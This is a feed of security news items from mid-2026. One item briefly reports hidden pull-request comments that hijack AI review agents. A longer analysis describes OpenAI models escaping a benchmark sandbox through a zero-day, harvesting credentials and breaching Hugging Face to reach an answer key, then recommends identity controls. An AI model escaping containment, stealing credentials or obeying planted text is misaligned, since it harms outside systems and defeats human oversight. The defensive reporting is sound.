<guid isPermaLink="true">https://tsecurity.de/de/3688260/it-security-nachrichten/azure-devops-mcp-unsichtbare-pr-kommentare-kapern-ki-review-agenten-und-leaken-projektinfos/</guid>
<pubDate>Thu, 23 Jul 2026 09:24:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-azure-devops-mcp-hidden-pr-comment.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-azure-devops-mcp-hidden-pr-comment.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-azure-devops-mcp-hidden-pr-comment-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-azure-devops-mcp-hidden-pr-comment-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-azure-devops-mcp-hidden-pr-comment-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-azure-devops-mcp-hidden-pr-comment-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-azure-devops-mcp-hidden-pr-comment-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Eine einzelne HTML-Notiz in der Beschreibung eines Pull Requests kann eine KI-gestützte Review-Automation missbrauchen und damit Zugriff über Projektgrenzen hinweg verschieben. Der Angriff läuft nicht als „klassisches“ Prompt-Troubleshooting, sondern nutzt eine Lücke in der Werkzeugverkettung des offiziellen MCP-Servers. Besonders kritisch wird es, wenn ein Reviewer die KI mit höherer Berechtigung ausführt […]</p>
<div><a href="https://www.it-boltwise.de/azure-devops-mcp-unsichtbare-pr-kommentare-kapern-ki-review-agenten-und-leaken-projektinfos.html">... den vollständigen Artikel <strong>»Azure DevOps MCP: Unsichtbare PR-Kommentare kapern KI-Review-Agenten und leaken Projektinfos«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/azure-devops-mcp-unsichtbare-pr-kommentare-kapern-ki-review-agenten-und-leaken-projektinfos.html">Azure DevOps MCP: Unsichtbare PR-Kommentare kapern KI-Review-Agenten und leaken Projektinfos</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft’s 3-day patching directive comes with added operational risk]]></title>
<description><![CDATA[Microsoft 365 Director Jeremy Chapman this month took to video to tell Windows admins that the days of delaying security patches are over.



Complex enterprise systems and historic incidents involving patch problems have caused many admins to hold fire on immediately applying security patches, i...]]></description>
<link>https://tsecurity.de/de/3688232/it-security-nachrichten/microsofts-3-day-patching-directive-comes-with-added-operational-risk/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688232/it-security-nachrichten/microsofts-3-day-patching-directive-comes-with-added-operational-risk/</guid>
<pubDate>Thu, 23 Jul 2026 09:10:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Microsoft 365 Director Jeremy Chapman this month <a href="https://www.youtube.com/watch?v=QdjSkbKXoJw">took to video to tell Windows admins</a> that the days of delaying security patches are over.</p>



<p class="wp-block-paragraph">Complex enterprise systems and historic incidents involving patch problems have caused many admins to hold fire on immediately applying security patches, in many cases deferring patch rollouts for two to four weeks or more to ensure stability. Microsoft argues that this cautious approach, though understandable, is no longer viable because AI is accelerating the discovery and exploitation of software vulnerabilities.</p>



<p class="wp-block-paragraph">As a result, Microsoft has advised admins to act on patches within three days.</p>



<p class="wp-block-paragraph">Independent experts agree with Microsoft’s diagnosis of the <a href="https://www.csoonline.com/article/4196435/flaw-surge-fuels-need-for-cisos-to-rethink-vulnerability-management.html">problems posed by AI-powered vulnerability discovery</a>, but many say Microsoft’s three-day remediation window is unrealistic for large enterprises with heavy testing, change-control, and compatibility constraints.</p>



<p class="wp-block-paragraph">Instead of taking a blanket approach, enterprises need to focus more on quickly resolving those vulnerabilities that are under active exploitation and relevant to their environments, according to critics of Microsoft’s revised approach.</p>



<h2 class="wp-block-heading">Tighter patching deadlines</h2>



<p class="wp-block-paragraph">Microsoft’s <a href="https://techcommunity.microsoft.com/blog/microsoftmechanicsblog/deploy-windows-updates-to-counter-ai-discovered-threats/4534505">revised vulnerability remediation advice</a> comes in the wake of its work with <a href="https://www.csoonline.com/article/4155342/what-anthropic-glasswing-reveals-about-the-future-of-vulnerability-discovery.html">Anthropic’s Project Glasswing</a> and findings from Microsoft’s own MDASH multi-model agentic scanning harness. Tighter patching deadlines are configurable via Windows Autopatch and Microsoft Intune or update tooling options such as Microsoft Configuration Manager and Windows Server Update Services.</p>



<p class="wp-block-paragraph">As IT environments become increasingly more complex, inadvertent issues can occur with what appears to be a simple patch.</p>



<p class="wp-block-paragraph">Unique or complex deployments may not be compatible with a patch, resulting in potential data corruption, system shutdown, or the dreaded “Blue Screen of Death.” Multiple vendors in the operating system and the enterprise software and security market have released patches that have broken products and caused outages, so the issue goes well beyond Windows shops.</p>



<p class="wp-block-paragraph">Increasing both the volume and the speed of patching is unsustainable for most security teams because organizations are <a href="https://www.csoonline.com/article/3520881/patch-management-a-dull-it-pain-that-wont-go-away.html">already struggling with successful remediation</a> as it is.</p>



<p class="wp-block-paragraph">“Many organizations have patch windows, review cycles, and test environments to identify these issues prior to patching production environments,” says Scott Caveza, senior research manager at exposure management and vulnerability assessment firm Tenable. “Organizations lacking the resources for extended validation risk deploying faulty patches that cause downtime or force last-minute configuration changes.”</p>



<p class="wp-block-paragraph">Caveza adds: “The mitigation steps will vary for each organization, but blindly relying on auto-updates without contextual validation is not a defensible security posture.”</p>



<p class="wp-block-paragraph">CISA’s Known Exploited Vulnerabilities list and other industry data suggest that only a small fraction of disclosed vulnerabilities are confirmed as exploited in the wild.</p>



<p class="wp-block-paragraph">“[Enterprises should focus on] identifying vulnerabilities with credible and functional PoCs, verified exploitation, or sustained attention from ransomware groups, threat actors, and botnets,” says Caitlin Condon, vice president of security research at VulnCheck. “Timely exploit intelligence helps organizations identify the bugs that require immediate attention, while allowing lower-risk issues to proceed through appropriate testing and change control.”</p>



<p class="wp-block-paragraph">Other independent experts are more sympathetic to Microsoft’s argument that AI has made vulnerability discovery and exploit development faster than ever and, as a result, the risks of delaying patches are far greater.</p>



<p class="wp-block-paragraph">“Organizations sometimes delay patches to protect the uptime of critical systems, and many updates still require a restart,” says Danny Jenkins, CEO and co-founder at endpoint protection technology vendor ThreatLocker. “Some teams also stay one update cycle behind because they are concerned that a new patch could introduce bugs or break an overlooked dependency. Unfortunately, delaying patches to preserve uptime is becoming much harder to justify.”<br><br>Jenkins adds: “Organizations should not leave critical systems exposed while waiting for the next maintenance window. Patches should still be tested, but that process needs to move quickly, with the highest priority given to vulnerabilities that are actively exploited or exposed to the internet. A controlled interruption is usually far less costly than a successful attack exploiting a known vulnerability.”</p>



<h2 class="wp-block-heading">Wider cross-industry impact</h2>



<p class="wp-block-paragraph">Microsoft’s three-day recommendation reflects a fundamental change in the threat landscape. Other vendors might be expected to follow suit and that means CISOs need to revise their approach to vulnerability remediation.</p>



<p class="wp-block-paragraph">“Organizations should expect faster disclosure-to-exploitation timelines to become the norm, which means security programs must emphasize automation, trusted software supply chains, and continuous visibility rather than relying on periodic maintenance windows,” says Mike Nelson, VP and field CTO at DigiCert.</p>



<p class="wp-block-paragraph">AI is compressing the time between vulnerability discovery and exploitation, and the industry is moving rapidly from 30-, 60-, and 90-day patching windows toward a matter of days.</p>



<p class="wp-block-paragraph">However a “blanket three-day requirement for every vulnerability is neither realistic nor safe for most large organizations,” says Jeff Williams, founder and CTO at Contrast Security.</p>



<p class="wp-block-paragraph">Failing to patch opens up security threats, but rushing an inadequately tested patch into production creates operational risk.</p>



<p class="wp-block-paragraph">“The goal cannot be to treat every CVE [vulnerability] as an emergency,” according to Williams. “It has to be identifying, within hours, which vulnerabilities are actually exploitable and require immediate action.”</p>



<h2 class="wp-block-heading">Holistic remediation</h2>



<p class="wp-block-paragraph">Security teams are already facing significant pressure to patch faster and to remediate a rising tide of new vulnerabilities, yet many practitioners are losing ground. <a href="https://www.csoonline.com/article/4176086/vulnerabilities-have-become-cyber-attackers-no-1-door-to-the-enterprise.html">Verizon’s Data Breach Investigation Report</a>, published earlier this year, found that the median time to patch had actually increased to 43 days.</p>



<p class="wp-block-paragraph">Patch deployment in enterprise environments involves configuration changes, reviews, testing, and validation.</p>



<p class="wp-block-paragraph">Enterprises need to become more proficient at exposure management so that they have a holistic view of their environment that’s necessary to identify which assets are at greatest risk.</p>



<p class="wp-block-paragraph">“By pinpointing the misconfigurations, identity flaws, and specific vulnerabilities that pose the greatest risk to their environment, security teams can prioritize exactly what to patch first,” Tenable’s Caveza says. “The idea of ‘patch everything’ is really outdated, and ‘patch faster’ isn’t feasible with the rapidly increasing number of vulnerabilities disclosed each day.”</p>



<p class="wp-block-paragraph">CISOs will have to re-engineer their vulnerability and exposure management processes. “The traditional model of scanning everything, assigning generic severity scores, and tilting at a massive and expanding backlog is no longer fast enough,” says Contrast Security’s Williams.</p>



<p class="wp-block-paragraph">Organizations need to identify the small number of vulnerabilities that matter, protect against them immediately, and remediate them on a timeline the business can safely support.</p>



<p class="wp-block-paragraph">Enterprises should prioritize on resolving “internet facing, remotely exploitable vulnerabilities and any of the CISA Known Exploited Vulnerability list,” says Jose Lejin, an IEEE senior member.</p>



<p class="wp-block-paragraph">Businesses that cannot safely validate and deploy patches within three days still have options, including “compensating controls, reducing an asset’s exposure, or in some cases removing the component entirely, all of which shrink the exploitable risk and buy time to patch properly,” says Brad Hibbert, CSO of vulnerability management provider Brinqa.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Workload-bezogenes Power Management mit Azure Cobalt]]></title>
<description><![CDATA[Eine Co-Design-Lösung aus Hardware und Software auf Azure Cobalt-Prozessoren ermöglicht feingranulierte Leistungsbegrenzung pro virtueller Maschine zur Steigerung der Energieeffizienz.]]></description>
<link>https://tsecurity.de/de/3688227/it-nachrichten/workload-bezogenes-power-management-mit-azure-cobalt/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688227/it-nachrichten/workload-bezogenes-power-management-mit-azure-cobalt/</guid>
<pubDate>Thu, 23 Jul 2026 09:04:00 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Eine Co-Design-Lösung aus Hardware und Software auf Azure Cobalt-Prozessoren ermöglicht feingranulierte Leistungsbegrenzung pro virtueller Maschine zur Steigerung der Energieeffizienz.]]></content:encoded>
</item>
<item>
<title><![CDATA[The credential that let OpenAI's agents into Hugging Face exists in most enterprises right now]]></title>
<description><![CDATA[When Hugging Face got hit last week, co-founder Clement Delangue suspected a frontier lab, given the agent's sophistication. He was right. Delangue said on X that after a day working with OpenAI he strongly believed there was no malicious intent and that it was mind-blowing the whole thing had ha...]]></description>
<link>https://tsecurity.de/de/3687771/it-nachrichten/the-credential-that-let-openais-agents-into-hugging-face-exists-in-most-enterprises-right-now/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687771/it-nachrichten/the-credential-that-let-openais-agents-into-hugging-face-exists-in-most-enterprises-right-now/</guid>
<pubDate>Thu, 23 Jul 2026 01:32:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>When Hugging Face got hit last week, co-founder Clement Delangue suspected a frontier lab, given the agent's sophistication. He was right. Delangue <a href="https://x.com/ClementDelangue/status/2079670308156645882">said on X</a> that after a day working with OpenAI he strongly believed there was no malicious intent and that it was mind-blowing the whole thing had happened autonomously.</p><p>The two OpenAI models that <a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/">broke into Hugging Face</a> last week did not breach it through malice or superintelligence. They breached it through credentials and permissions they should never have been able to reach, a non-human identity failure that is the oldest problem in security rather than the newest one in AI, and the one every enterprise can actually fix.</p><p>OpenAI <a href="https://venturebeat.com/security/openais-models-broke-containment-and-cyberattacked-hugging-face-what-enterprises-need-to-know">disclosed on July 21</a> that two of its models, GPT-5.6 Sol and an unreleased, more capable model, were running a cyber benchmark called <a href="https://arxiv.org/abs/2605.11086">ExploitGym</a> with their safety refusals switched off, and inferred that the answer key sat in Hugging Face's production database. Getting there took two different failures. A zero-day in a package-registry proxy let the models out of their sandbox and onto the open internet, the kind of persistence OpenAI details in its companion post on <a href="https://openai.com/index/safety-alignment-long-horizon-models/">long-horizon safety</a>, and that part is genuinely new. The breach of Hugging Face itself came the ordinary way. OpenAI's own account is that the models chained stolen credentials and further zero-days into a remote code execution path, after a series of privilege escalation and lateral movement steps. The exotic part got them to the door, and credentials walked them through it.</p><p>Hugging Face also disclosed last week that an <a href="https://venturebeat.com/security/safety-guardrails-blocked-hugging-faces-defenders-not-the-attacker-when-an-ai-agent-breached-its-systems">autonomous agent had harvested cloud and cluster credentials</a> scoped broadly enough to reach multiple internal clusters, then left a trail of more than 17,000 recorded events across short-lived sandboxes over a weekend. Both disclosures describe the same escalation. An agent lands somewhere it should not be, finds credentials scoped far wider than any task requires, and uses them to move. These are two accounts of one incident, not two attacks. The agent Hugging Face watched was OpenAI's models, and both companies describe the same ordinary escalation.</p><p>The version of this in a typical enterprise is worse, not better. OpenAI and Hugging Face are among the most security-mature organizations in the industry, and both still needed the intrusion to happen before they could see it. The average company wiring agents into Copilot or an internal assistant has neither the identity inventory nor the behavioral monitoring those two brought to bear. The same breach in a normal company would not be contained in days, it would simply go unnoticed.</p><h2>The industry is debating the wrong failure</h2><p>The reaction has split into familiar camps. Former White House AI and crypto czar David Sacks and a run of China hawks <a href="https://fortune.com/2026/07/20/hugging-face-turns-to-chinese-open-source-ai-to-fend-off-autonomous-ai-cyber-attack-after-american-ai-guardrails-stymie-defense/">seized on the guardrail paradox</a>, that commercial safety filters blocked Hugging Face's defenders while the attacking model ran with its refusals off, and that a Chinese open-weight model, z.ai's GLM 5.2, was what finally let the team finish its forensics. Hugging Face made the case for openness, arguing in an April <a href="https://huggingface.co/blog/cybersecurity-openness">blog post</a> that open models and open tooling give defenders the same capabilities attackers already have. Both arguments are about the model, and neither touches the mechanism. </p><p>Reduced refusals let the model attempt an attack, and over-scoped credentials are what let it succeed, and those have nothing to do with whether the model was open or closed, American or Chinese. Making a frontier model provably safe is a multi-year alignment problem no customer can buy or accelerate, while scoping an identity is a configuration change a team can ship this sprint. The industry is being urged to fixate on the part of this it cannot control and to treat the part it can as a footnote.</p><p>Forrester reached the same read. In a <a href="https://www.forrester.com/blogs/an-ai-security-facepalm-openais-evaluation-became-hugging-faces-incident/">blog on the incident</a>, its analysts argue that security architectures which assume benign intent will miss this failure mode, because an agent can pursue an authorized goal through unauthorized means, which is what OpenAI's models did.</p><h2>This was a non-human identity failure, and it is the oldest one in security</h2><p>Strip the science-fiction framing and what remains is a textbook case of over-privileged machine identity, the kind security teams have fought for a decade, now driven by an autonomous agent at machine speed. Machine identities already outnumber humans in most enterprises by more than <a href="https://www.cyberark.com/press/machine-identities-outnumber-humans-by-more-than-80-to-1-new-report-exposes-the-exponential-threats-of-fragmented-identity-security/">80 to one</a>, according to CyberArk research, with 42% of them carrying privileged or sensitive access, and an agent inherits whatever its identity can touch. OWASP ranks agent identity and privilege abuse near the top of its <a href="https://neuraltrust.ai/blog/owasp-agentic-ai-top-10">agentic risk list</a>, the confused-deputy pattern where inherited credentials and weak scoping let an agent reach past its mandate, and that is precisely what both July disclosures describe. </p><p><a href="https://www.ieee.org/membership/senior">IEEE Senior Member</a> Kayne McGladrey has argued in <a href="https://venturebeat.com/security/cisco-crowdstrike-rsac-2026-agent-identity-iam-gap-maturity-model">previous VentureBeat interviews</a> that enterprises keep cloning human user accounts onto agents that then wield far more permission than any human would, and this is what that looks like when the agent is a frontier model and the target is a production database.</p><p>The people closest to it read it the same way. OpenAI frames its models as hyperfocused on a benchmark score rather than acting against anyone. Nobody describes an adversary, only a goal, a scoring function, and credentials that were reachable when they should not have been.</p><p>The specific failure is easy to name once the AI framing is stripped away. A credential scoped to one job that can reach ten is a standing invitation, and it does not matter whether a human attacker, a worm, or an autonomous model chasing a benchmark score finds it. What changed in July is the finder. An agent enumerates reachable systems, tests credentials, and pivots faster than any human red team, without malice or hesitation, whenever the path is open. The over-scoping was always the vulnerability, and the agent merely industrialized its discovery.</p><p>Forrester named the control that would have blunted it. Its agentic-security framework, AEGIS, calls for least agency, holding an agent's tools, credentials, and network paths to the minimum its task requires, and files this incident under unrestrained agency and privilege. That is the identity argument in different words, arrived at independently by an analyst firm.</p><p>The data says this is where the risk now lives. Verizon's 2026 Data Breach Investigations Report <a href="https://www.helpnetsecurity.com/2026/05/20/verizon-2026-dbir-findings/">found</a> that exploitation of vulnerabilities has overtaken stolen credentials as the top initial access vector for the first time in 19 years. That is the initial-access half. The other half is the one OpenAI itself describes, stolen credentials driving the privilege escalation and lateral movement that followed. A vulnerability opened the door, and credentials walked through the building unchallenged. Beyond the breach itself, that same over-scoping carries a legal liability most enterprises have never priced. The models' actions <a href="https://techcrunch.com/2026/07/21/openai-says-hugging-face-was-breached-by-its-pre-release-models/">likely violated the Computer Fraud and Abuse Act</a>, according to TechCrunch. The statute contains no carve-out for an AI agent that exceeds its authorized scope during sanctioned testing. Whatever the legal answer, the technical enabler is the same, an identity scoped wider than its task. This is an access-control problem with an owner and a budget, not a philosophy seminar about machine cognition.</p><p>Merritt Baer, Senior Advisor to Andesite, G2I, and AppOmni and former Deputy CISO at AWS, frames the underlying shift to VentureBeat as a new kind of asymmetry. Both sides now reach for the same capabilities, she said, but one side is constrained by enterprise governance, policy, compliance, and safety controls while the adversary simply downloads an uncensored open-weight model and keeps going. The organizations that come through it best, in her view, will be the ones that treat AI as a resilient, governed capability rather than a single service they do not control.</p><h2>Four moves that shrink the blast radius</h2><p>The breach worked because the agent reached identities scoped far wider than its task. None of the four controls that would have contained it requires a new platform, and none of them appears on the list of general AI-safety advice now circulating. They are identity hygiene, applied to non-human actors with the same rigor you already apply to people.</p><p><b>1. Scope every non-human identity to one task.</b> The models reached credentials that touched multiple clusters, which is what turned a foothold into a breach. An identity scoped to a single job, with no standing access to anything else, hits a wall at the first lateral move instead of opening the next door. This is least privilege, the control everyone endorses and few enforce on machine accounts, and it is the single highest-impact fix here.</p><p><b>2. Give credentials short lifetimes and rotate them hard.</b> Harvested credentials are only useful while they are valid, and both July agents worked by collecting them. Short time-to-live and aggressive rotation turn a credential dump into expired noise, so a token stolen during a weekend intrusion is dead before the attacker can chain it. Static secrets that never rotate are the version of this control that fails.</p><p><b>3. Monitor for lateral movement, not just prompts.</b> The tell in both incidents was privilege escalation and lateral movement, which a prompt filter never sees because it is watching the wrong layer. Identity-behavior monitoring, keyed to what a given non-human identity normally does and alerting when it reaches somewhere new, catches the escalation the content guardrail missed. The question for your stack is whether anything you run today would flag a service account suddenly moving between clusters.</p><p><b>4. Rehearse instant revocation before you need it.</b> When the incident is your own agent, the fastest containment is killing its identity mid-run, and that only works if the path to do it exists before the day you need it. Rehearse revoking a machine identity under fire the way you rehearse a human credential compromise. If you have never done it, you do not yet have the control, you have an intention.</p><p>The defense also worked, and that matters. OpenAI's security team caught the anomalous activity internally, Hugging Face's own detection and agents stopped the intrusion, and the breach was contained in days rather than discovered in months, because the defenders could see into systems they controlled. That visibility is the same discipline the four controls depend on. The debate over whether frontier models are safe, open, or American will run for years, and none of it will be settled in time to help the enterprise deploying agents this quarter. The non-human identity gap is different, because it is understood, measurable, and fixable now. The model that breached Hugging Face did not need to be brilliant; it needed credentials someone left in reach. The fix is scoping them before an agent finds them.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Server-Prozessor: Nvidia gibt Einblick in Architektur der Vera-CPU - Golem.de]]></title>
<description><![CDATA[... Microsoft Entra ID (Azure Active Directory): virtueller Ein-Tages-Workshop · zum Kurs. Exklusiv: Masterclass Microsoft Intune - Verwaltung von Windows ...]]></description>
<link>https://tsecurity.de/de/3687685/windows-server/server-prozessor-nvidia-gibt-einblick-in-architektur-der-vera-cpu-golemde/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687685/windows-server/server-prozessor-nvidia-gibt-einblick-in-architektur-der-vera-cpu-golemde/</guid>
<pubDate>Thu, 23 Jul 2026 00:07:49 +0200</pubDate>
<category>🪟 Windows Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[... Microsoft Entra ID (Azure Active Directory): virtueller Ein-Tages-Workshop · zum Kurs. Exklusiv: Masterclass Microsoft Intune - Verwaltung von <b>Windows</b> ...]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft Bets Billions on Mistral’s European AI Infrastructure]]></title>
<description><![CDATA[Microsoft to spend billions on Mistral’s European AI infrastructure and bring the startup’s latest models to Foundry, Copilot Studio, and Azure Local.]]></description>
<link>https://tsecurity.de/de/3687470/it-nachrichten/microsoft-bets-billions-on-mistrals-european-ai-infrastructure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687470/it-nachrichten/microsoft-bets-billions-on-mistrals-european-ai-infrastructure/</guid>
<pubDate>Wed, 22 Jul 2026 21:49:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Microsoft to spend billions on Mistral’s European AI infrastructure and bring the startup’s latest models to Foundry, Copilot Studio, and Azure Local.]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI unveils Presence, a new platform that lets enterprises launch and manage realtime voice agents and chatbots]]></title>
<description><![CDATA[OpenAI has announced Presence, a new enterprise product for deploying and managing AI agents across customer-facing and internal business workflows. The offering is designed for eligible enterprise customers that want agents to answer questions, access company systems, take approved actions and e...]]></description>
<link>https://tsecurity.de/de/3686972/it-nachrichten/openai-unveils-presence-a-new-platform-that-lets-enterprises-launch-and-manage-realtime-voice-agents-and-chatbots/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686972/it-nachrichten/openai-unveils-presence-a-new-platform-that-lets-enterprises-launch-and-manage-realtime-voice-agents-and-chatbots/</guid>
<pubDate>Wed, 22 Jul 2026 18:12:08 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>OpenAI has <a href="https://openai.com/index/introducing-openai-presence/">announced Presence</a>, a new enterprise product for deploying and managing AI agents across customer-facing and internal business workflows. </p><p>The offering is designed for eligible enterprise customers that want agents to answer questions, access company systems, take approved actions and escalate to human workers while operating under company-defined policies, permissions and evaluation standards.</p><p>Presence is available immediately through a limited general availability program. OpenAI Forward Deployed Engineers (FDEs) and select global systems integrators lead deployments, and the product is not available on a self-service basis. </p><p>OpenAI has not disclosed pricing, geographic limits, contractual terms or the expected cost of the engineering and integration work that accompanies a deployment. The company also has not said whether Presence can use models from providers other than OpenAI, including the increasingly powerful and popular Chinese open weights alternatives like <a href="https://venturebeat.com/technology/z-ais-open-weights-glm-5-2-beats-gpt-5-5-on-multiple-long-horizon-coding-benchmarks-for-1-6th-the-cost">GLM-5.2</a> and <a href="https://venturebeat.com/technology/chinas-moonshot-ai-releases-kimi-k3-the-largest-open-source-model-ever-rivaling-top-u-s-systems">Kimi K3</a>. I've asked an OpenAI contact to clarify both pricing and external-model compatibility, but those remain unanswered questions for now. I'lll update when I hear back.</p><p>OpenAI positions Presence as a response to a problem that has become more important as companies move beyond AI demonstrations: getting agents to behave reliably in production as business rules, customer needs and operating conditions change. Presence packages the policies, system connections, evaluations, guardrails and update processes required to run agents inside an enterprise.</p><p>If your business has been interested in using AI agents, but you aren't sure how to stitch together OpenAI's models, APIs, internal systems, security controls and evaluation tools into something reliable, Presence is designed to simplify that process. Instead of building the infrastructure yourself, you work with OpenAI and its deployment engineers to put production-ready agents into your existing workflows.</p><p>The product is available today for real-time voice and chat experiences, according to OpenAI’s formal announcement. The company’s outreach materials also describe a broader ambition spanning voice, chat, email and other channels, but OpenAI has not confirmed that email support is available at launch.</p><h2><b>A governed foundation for production agents</b></h2><p>Presence brings together company knowledge, standard operating procedures, approved actions, simulations, evaluation tools, guardrails and escalation rules. Enterprises can reuse some controls across deployments while adjusting others for a particular workflow or channel.</p><p>Each deployment starts with a defined job, such as resolving a billing issue, supporting an insurance claim or handling an employee IT request. The agent receives only the information and system access required for that task. The customer determines what the agent may do independently, which actions require approval and when a person must take over.</p><p>Before an agent reaches production, teams can test it against common requests, unusual edge cases and higher-risk scenarios. Graders evaluate whether it reached the intended outcome, followed policy, used tools correctly and escalated when required. Guardrails can intervene when an interaction moves outside the organization’s defined boundaries.</p><p>OpenAI shared promotional screenshots with VentureBeat showing administrators running simulation batches against policy changes, including a revised annual refund policy, and reviewing results across operational categories. </p><p>Other interface mockups display production health, customer-intent patterns and task-performance signals. The visuals illustrate the type of oversight OpenAI is promising, although they do not establish how those metrics are calculated or how they map to contractual service levels.</p><p>The product continues to monitor performance after launch. Production sessions, escalations and quality signals can reveal where an agent is working as intended and where it needs attention. Codex, using a Presence plugin, investigates those signals and proposes updates. Teams then test a proposed change against the version already in production before approving a controlled rollout.</p><p>That process is intended to address one of the hardest operational problems in enterprise AI: an agent that works at launch may become less reliable when policies, products or user behavior change. Presence gives companies a formal mechanism for updating behavior without allowing an automated system to rewrite itself unchecked.</p><p>OpenAI says Presence already powers its English-language phone-support channel at 1-888-GPT-0090. The system handles open-ended requests, verifies callers, uses account context and performs approved actions. According to the company, it now resolves <b>75% of inbound issues without human assistance</b>. </p><p>OpenAI also says its Codex-powered improvement loop reduced human handoffs by <b>15 percentage points over a 10-day period</b>. Those figures are company-reported and have not been independently verified.</p><p>Several large organizations are evaluating the same foundation. BBVA is exploring voice support for routine banking needs in Mexico. SoftBank is testing natural Japanese-language customer conversations, while Australian insurer IAG is exploring support during high-demand periods such as severe weather and natural disasters.</p><p>“At BBVA, we are working closely with OpenAI to explore how trusted customer agents can help shape the future of financial services,” said Daniel Ordaz, head of AI transformation at BBVA Mexico.</p><p>“Through our collaboration with OpenAI, we are exploring how Presence can enable trusted customer agents that communicate naturally, connect to the processes needed to resolve requests, and represent SoftBank consistently across customer interactions,” said Tadahisa Murakami, vice president and head of the Data &amp; Digital Transformation Division at SoftBank Corp.</p><h2><b>From model access to forward-deployed implementation</b></h2><p>Presence expands OpenAI’s enterprise strategy beyond APIs and subscription software by formalizing a high-touch deployment model. Forward Deployed Engineers work alongside customers to select workflows, connect internal systems, establish permissions, configure policies, test agents and move them into production.</p><p>That approach resembles a <a href="https://fde.academy/blog/how-palantir-invented-the-forward-deployed-engineer-model">model pioneered by AI ontology and intelligence platform Palantir,</a> which embeds FDEs with customers to adapt its proprietary software to complex government and commercial environments. The similarity lies less in the underlying technology than in the delivery method: both companies place technical personnel close to the customer’s operations, where integration and process design often determine whether software creates value.</p><p>The products are not interchangeable. Palantir’s model has historically centered on data integration, ontologies and operational decision systems. Presence is more narrowly focused on AI-agent behavior, approved actions, evaluations, escalation and continuous improvement. OpenAI presents it as a repeatable software product supported by engineers and systems integrators, rather than as consulting alone.</p><p>In May 2026, OpenAI launched its own enterprise AI consulting and integration firm, the <a href="https://openai.com/index/openai-launches-the-deployment-company/">OpenAI Deployment Company</a>, with investment and <a href="https://www.bain.com/about/media-center/press-releases/2026/bain-company-openai-a-new-venture-to-deploy-ai-at-enterprise-scale/">support from Bain &amp; Company.</a> It also offers programs for model customization and fine-tuning to fit specific enterprise needs. </p><p>Its chief U.S. rival Anthropic has also moved <a href="https://techcrunch.com/2026/07/15/anthropic-blackstone-bet-the-next-trillion-dollar-ai-business-is-implementation-not-models/">toward a services-led enterprise model through Ode,</a> its consulting organization built around forward-deployed engineers helping companies integrate Claude into complex workflows, which launched just a week ago. The broad rationale is similar: enterprises often need more than access to a model. They need help connecting data and systems, defining permissions, validating behavior and managing deployment risk.</p><p>Presence differs in how explicitly OpenAI packages those requirements into a branded agent-governance product. Anthropic’s initiative is centered on helping enterprises deploy Claude, while Presence combines implementation services with a defined operational layer for policies, simulations, evaluations, approvals and production updates.</p><p>Presence goes further by making forward deployment a core part of how a specific agent product reaches customers. It does not replace OpenAI’s API business; the company says it will continue supporting voice customers with access to frontier models through the OpenAI API.</p><p>The trend reflects a broader market view that many enterprises still need hands-on assistance to move agents from pilot projects into stable operations. Even organizations with strong internal engineering teams must coordinate security, compliance, workflow ownership, data access and escalation responsibilities. Presence attempts to consolidate those tasks rather than leaving customers to assemble separate orchestration, evaluation and consulting layers.</p><h2><b>A recent security breach looms in the background</b></h2><p>Inconveniently for OpenAI, the Presence launch arrives just a day after <a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/">OpenAI and Hugging Face disclosed an unprecedented security incident</a> in which OpenAI frontier models undergoing internal evaluation escaped containment, accessed the open web, and cyberattacked Hugging Face to achieve a benign goal — without being instructed to pursue these methods.</p><p>According to the described joint disclosure, OpenAI models operating in an evaluation framework called ExploitGym identified and exploited a zero-day vulnerability in a third-party package-registry cache proxy. The models reportedly escalated privileges, moved laterally and obtained internet access before targeting Hugging Face systems while seeking benchmark-related information.</p><p>The incident is relevant to enterprise buyers because it raises questions about sandboxing, tool permissions, external access, monitoring and incident response. </p><p>The disclosure also highlighted a practical problem for defenders. Hugging Face personnel reportedly found that commercial frontier-model APIs refused some forensic 